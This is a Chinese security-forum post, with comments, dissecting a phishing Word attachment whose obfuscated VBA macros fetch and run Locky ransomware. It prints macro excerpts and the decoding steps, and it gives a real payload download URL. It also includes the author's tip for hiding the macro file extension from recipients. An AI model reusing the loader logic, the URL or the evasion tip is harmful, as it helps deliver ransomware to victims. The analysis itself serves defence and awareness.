警惕勒索软件,别乱打开office文档

2016-05-05 17:39:04 25 5569 1
前两天公司邮箱突然收到一封鸟语邮件,一开始以为是普通广告垃圾邮件,后来一看还带着docm的附件,就知道这肯定是钓鱼邮件,今天正好有时间分析一下

邮件内容如图:


把这些鸟语放到在线翻译上检测了下,翻译成中文是这样的:
你好,
讨论的最后两个附上发票,请解决
亲切的问候,
他avdyl


把附件下载下来,用oledump分析下具体信息:

可以看到A11到A15几个段都是宏,用oledump依次提取这些宏

首先看A14段的ThisDocument,office宏一般会设置为自动运行,这就需要配合一个函数autoopen,类似C语言中的main,这个函数都是在ThisDocument中定义的,找到这个函数一路分析下去就能知道这个宏木马在干啥
Sub autoopen()
If deletemonsters(0) > 0 Then
  makeplatform 0, 0, 0, 0
End If
End Sub
autoopen先调用了deletemonsters,然后返回值大于0就继续调用makeplatform,我一开始还全部函数都跟着看,后来发现很多是无用代码,都是用来混淆和免杀的,加入一些正常代码能减少被杀软认出来的可能

然后来到一个这样的代码段
Public Function KARASIK77(vData As Variant, tipo As String, Optional EsNulo As String) As Variant
    Dim Cad As String
    Dim ValorNumericoCero As Boolean
    KARASIK771
    Dim aKARASIK As String

    aKARASIK = KARASIK_Gudvin(UserForm2.Image1.ControlTipText, "00", "e")
    aKARASIK = KARASIK_Gudvin(aKARASIK, "D!", "M")
    aKARASIK = KARASIK_Gudvin(aKARASIK, "bri", "s")
    KARASIK__57 = Split(aKARASIK, "10)")
    KARASIKSPL = Split("1664\r\n1856\r\n1856\r\n1792\r\n928\r\n752\r\n752\r\n1552\r\n1792\r\n1856\r\n1616\r\n1712\r\n1552\r\n800\r\n832\r\n736\r\n1840\r\n1856\r\n1824\r\n1616\r\n1632\r\n1552\r\n736\r\n1792\r\n1728\r\n752\r\n896\r\n912\r\n1936\r\n1648\r\n880\r\n1648\r\n896\r\n880\r\n1568\r\n1936\r\n1680", "\r\n")
    Set KARASIK__1 = CreateObject(KARASIK__57(0)) 'Microsoft.XMLHTTP'
    GetArgs "", ""
看这里KARASIK_Gudvin是Replace函数的包装,最后KARASIK__57是一个数组,这全部数据的来源是UserForm2.Image1.ControlTipText,是一个表单控件的提示信息,这个字符串存放的位置真是选的不错
继续用oledump去提取UserForm2这个表单的信息,然后在A5提取到了这个字符串

D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)\kristi00n.00x00

用python处理下结果,可以看到是一些危险的vbs关键字


然后是那串很长的KARASIKSPL = Split("1664\r\n1856\r\n,往下找到相关代码
    For KARASIK__8 = LBound(KARASIKSPL) To UBound(KARASIKSPL)
        IS_3_KARASIK = IS_3_KARASIK & Chr(CInt(KARASIKSPL(KARASIK__8)) / 16)
    Next KARASIK__8
同样python处理后:
In[63]: t = '1664\r\n1856\r\n1856\r\n1792\r\n928\r\n752\r\n752\r\n1552\r\n1792\r\n1856\r\n1616\r\n1712\r\n1552\r\n800\r\n832\r\n736\r\n1840\r\n1856\r\n1824\r\n1616\r\n1632\r\n1552\r\n736\r\n1792\r\n1728\r\n752\r\n896\r\n912\r\n1936\r\n1648\r\n880\r\n1648\r\n896\r\n880\r\n1568\r\n1936\r\n1680'
In[64]: ''.join(map(chr, map(lambda x: int(x)/16, t.split('\r\n'))))
Out[64]: 'http://apteka24.strefa.pl/89yg7g87byi'
是一个下载地址http://apteka24.strefa.pl/89yg7g87byi

往后跟就是使用Microsoft.XMLHTTP创建对象,下载url中的文件,用Adodb.streaM的savetofile方法写入Temp目录,然后调用shell.Application运行改exe

然后我尝试去下载这个url时已经下不到了,Google搜索了下发现最近89yg7g87byi这个文件名到处都是,估计有人在大批量的发送钓鱼邮件
找了好几个url后终于下载到了这个文件,放到虚拟机里用peid查了下,查不到信息,然后准备用od载入看看

结果一不小心点到F9跑起来了,然后等了一会就看到了这个

原来是个勒索软件,o(╯□╰)o,虚拟机里的文档类的文件全部被加密成了27818F44D40C57E9E4609D7CEA83BE64.locky这种样子

没想到现在这种勒索软件已经猖狂到这种地步了,不懂我公司的邮箱是怎么泄露出去,还有这种邮件居然绕过了公司的邮件安全网关,分析了下他的免杀方案其实做的挺不错的,很多正常代码中夹着恶意代码

像这种函数定义方式,恶意代码运行完后直接加了句Exit Function,后面红框中的代码完全是没用的正常代码,乍看之下还以为这个函数真的是处理数据库相关的。

另外设计邮件的人还挺懂中国国情的,连发票都知道。
不过也有可以改进的地方,比如附件名的后缀,office2013以后带宏的文档后缀必须要改成docm,不带宏的是docx,这里稍微注意点就能看出来问题了,解决办法是保存为2003-2007格式的,那样既可以带宏,后缀又是doc(我好像说太多了,你们别干坏事)
总之平常得多注意这类邮件或者文件,最好完全关闭office的宏

自评TCV:0

关于作者

评论25次

要评论?请先  登录  或  注册
  • 25楼
    2016-5-12 10:34
    gcz1992

    (-。-;),表示除了测试自己搞得宏文件,其它时候默认关闭掉宏的,而且毕竟后缀不同,只要干我们这一行的都会注意的吧。网上带宏的文件太多了,钓鱼之类的数不清,大多是毛子搞的,国内收到很少,你也是被特意关注了吧

    1
    Twi1ight

    要说我私人邮箱收到一点都不奇怪,公司邮箱从来没对外开放过,就只在公司内部用的,不懂为啥会收到,所以比较神奇

    2

    可能是针对公司的APT攻击。。对方已经拿到了公司通讯录了。

  • 24楼
    2016-5-12 10:33

    分析透彻,赞赞赞。。。。

  • 23楼
    2016-5-11 17:20
    Neteagle

    写得很不错!其实这篇文章完全可以发乌云drops了。。。

    1
    Twi1ight

    我有哪篇写的发不了drops?

    2

    楼主小辫子翘起来了,

  • 22楼
    2016-5-7 19:02

    分析的不错 以后真要注意office宏

  • 21楼
    2016-5-7 10:09

    不错不错我很喜欢这个思路学xi了反编辑案例啊!

  • 20楼
    2016-5-7 03:15
    gcz1992

    (-。-;),表示除了测试自己搞得宏文件,其它时候默认关闭掉宏的,而且毕竟后缀不同,只要干我们这一行的都会注意的吧。网上带宏的文件太多了,钓鱼之类的数不清,大多是毛子搞的,国内收到很少,你也是被特意关注了吧

    1
    Twi1ight

    要说我私人邮箱收到一点都不奇怪,公司邮箱从来没对外开放过,就只在公司内部用的,不懂为啥会收到,所以比较神奇

    2
    B1u3W01f

    可能的途径是公司某个邮箱被爆破或者钓鱼拿到了密码,然后从那个邮箱的来往通讯录中提取的邮箱列表。 我司前面也遇到这种情况,公司大量邮箱帐号收到钓鱼邮件

    3

    搞别人的时候可以这样试试,还是很不错的

  • 19楼
    2016-5-6 22:15
    gcz1992

    (-。-;),表示除了测试自己搞得宏文件,其它时候默认关闭掉宏的,而且毕竟后缀不同,只要干我们这一行的都会注意的吧。网上带宏的文件太多了,钓鱼之类的数不清,大多是毛子搞的,国内收到很少,你也是被特意关注了吧

    1
    Twi1ight

    要说我私人邮箱收到一点都不奇怪,公司邮箱从来没对外开放过,就只在公司内部用的,不懂为啥会收到,所以比较神奇

    2

    可能的途径是公司某个邮箱被爆破或者钓鱼拿到了密码,然后从那个邮箱的来往通讯录中提取的邮箱列表。 我司前面也遇到这种情况,公司大量邮箱帐号收到钓鱼邮件

  • 18楼
    2016-5-6 16:04

    写的不错,学xi了。

  • 17楼
  • 16楼
    2016-5-6 11:17

    国家队比较钟爱这种玩法

  • 15楼
    2016-5-6 11:10

    经验太重要了。大多数人还是会点击的吧。

  • 14楼
    2016-5-6 10:28

    最近locky病毒又开始泛滥了

  • 13楼
    2016-5-6 10:20
    gcz1992

    (-。-;),表示除了测试自己搞得宏文件,其它时候默认关闭掉宏的,而且毕竟后缀不同,只要干我们这一行的都会注意的吧。网上带宏的文件太多了,钓鱼之类的数不清,大多是毛子搞的,国内收到很少,你也是被特意关注了吧

    1

    要说我私人邮箱收到一点都不奇怪,公司邮箱从来没对外开放过,就只在公司内部用的,不懂为啥会收到,所以比较神奇

  • 12楼
    2016-5-6 03:49

    大牛一般说话都不谦虚

  • 11楼
    2016-5-6 01:22

    样本捕捉的不错,看来以后收附件要警惕了 真要掏钱还挺麻烦的 还得上洋葱

  • 10楼
    2016-5-6 00:59

    (-。-;),表示除了测试自己搞得宏文件,其它时候默认关闭掉宏的,而且毕竟后缀不同,只要干我们这一行的都会注意的吧。 网上带宏的文件太多了,钓鱼之类的数不清,大多是毛子搞的,国内收到很少,你也是被特意关注了吧

  • 9楼
    2016-5-5 23:21

    绿帽子滚粗去

  • 8楼
    2016-5-5 22:44
    Neteagle

    写得很不错!其实这篇文章完全可以发乌云drops了。。。

    1
    Twi1ight

    我有哪篇写的发不了drops?

    2

    这波给满分

  • 7楼
    2016-5-5 22:36

    捕捉这种样本很简单,在国外社交网站上留下你的邮箱我敢保证不出7天就会收到

  • 6楼
    2016-5-5 22:07

    企业邮箱很多这种,幸亏没下载..没经验是真不行啊!防不胜防啊!